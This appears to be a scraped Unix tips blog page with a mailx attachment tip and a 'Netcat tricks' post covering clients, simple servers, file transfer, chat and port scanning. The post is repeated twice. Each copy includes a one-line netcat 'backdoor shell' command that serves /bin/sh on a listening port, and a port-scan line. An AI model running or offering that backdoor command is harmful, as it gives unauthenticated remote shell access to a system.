Mail (or, mailx) is a convenient utility for sending and receiving emails on unix/linux systems.Here is a tip on how to send an email with an attachment.
To send an email with message stored in file MailBody and a picture in file Pic.jpg as an attachment, we type:
(cat MailBody; uuencode Pic.jpg Pic.jpg)|mail -s "Subject of this mail" someone@some.where.com
Monday, February 4, 2013
Sunday, February 3, 2013
Netcat tricks
Netcat is a utility which reads and writes data across network connections, using TCP or UDP. It is known as a "Swiss-army knife for TCP/IP". Here are some useful netcat tricks.
Simple Client
To connect to the SMTP server (srv), we type:
nc srv 25
One-shot Server
To provide a uptime service on a unix/linux system, we type:
nc -l -p Port# -e /usr/bin/uptime
where Port# is the service port number, uptime the utility reporting system uptime.
Simple Server
To provide a fixed web page (index.html) service on a unix/linux, we type:
while true; do {echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < index.html)\r\n\r\n"; cat index.html; } | nc -l -p Port#; done
To implement a log server that logs the first 500 bytes data from any client, we type:
while true; do nc -l -p Port# | head -c 500 >> LogFile; date >> LogFile; done
where LogFile is the name of our log file, each log record is followed by a time stamp.
To set up a backdoor shell, we type:
nc -l -p Port# -e /bin/sh
File Transfer
To push a file (FileName) from host A to host B (hostB) , we type
nc -l -p Port# > FileName
on host B, and
nc -q 10 hostB Port# < FileName
on host A.
To pull a file (FileName) from host A (hostA) back to host B, we type
nc -q 10 -l -p Port# < FileName
on host A, and
nc hostA Port# > FileName
on host B.
Chat Service
To set up chat server (srv), we type:
nc -l -p Port#
on srv, and on chat client, we type:
nc srv Port#
Port Scanner
Netcat can be a port scanner. It does not have as many features as nmap, but if we just want to see what ports numbered between 1 to 1024 are open on host with IP address 192.168.0.1, we type:
nc -z -v -n -w 1 192.168.0.1 1-1024
where -z specifies scanning, -v verbose, -n no DNS, -w 1 timeout after 1 second.
UDP mode
The option -u puts netcat to operate in UDP mode.
Simple Client
To connect to the SMTP server (srv), we type:
nc srv 25
One-shot Server
To provide a uptime service on a unix/linux system, we type:
nc -l -p Port# -e /usr/bin/uptime
where Port# is the service port number, uptime the utility reporting system uptime.
Simple Server
To provide a fixed web page (index.html) service on a unix/linux, we type:
while true; do {echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < index.html)\r\n\r\n"; cat index.html; } | nc -l -p Port#; done
To implement a log server that logs the first 500 bytes data from any client, we type:
while true; do nc -l -p Port# | head -c 500 >> LogFile; date >> LogFile; done
where LogFile is the name of our log file, each log record is followed by a time stamp.
To set up a backdoor shell, we type:
nc -l -p Port# -e /bin/sh
File Transfer
To push a file (FileName) from host A to host B (hostB) , we type
nc -l -p Port# > FileName
on host B, and
nc -q 10 hostB Port# < FileName
on host A.
To pull a file (FileName) from host A (hostA) back to host B, we type
nc -q 10 -l -p Port# < FileName
on host A, and
nc hostA Port# > FileName
on host B.
Chat Service
To set up chat server (srv), we type:
nc -l -p Port#
on srv, and on chat client, we type:
nc srv Port#
Port Scanner
Netcat can be a port scanner. It does not have as many features as nmap, but if we just want to see what ports numbered between 1 to 1024 are open on host with IP address 192.168.0.1, we type:
nc -z -v -n -w 1 192.168.0.1 1-1024
where -z specifies scanning, -v verbose, -n no DNS, -w 1 timeout after 1 second.
UDP mode
The option -u puts netcat to operate in UDP mode.
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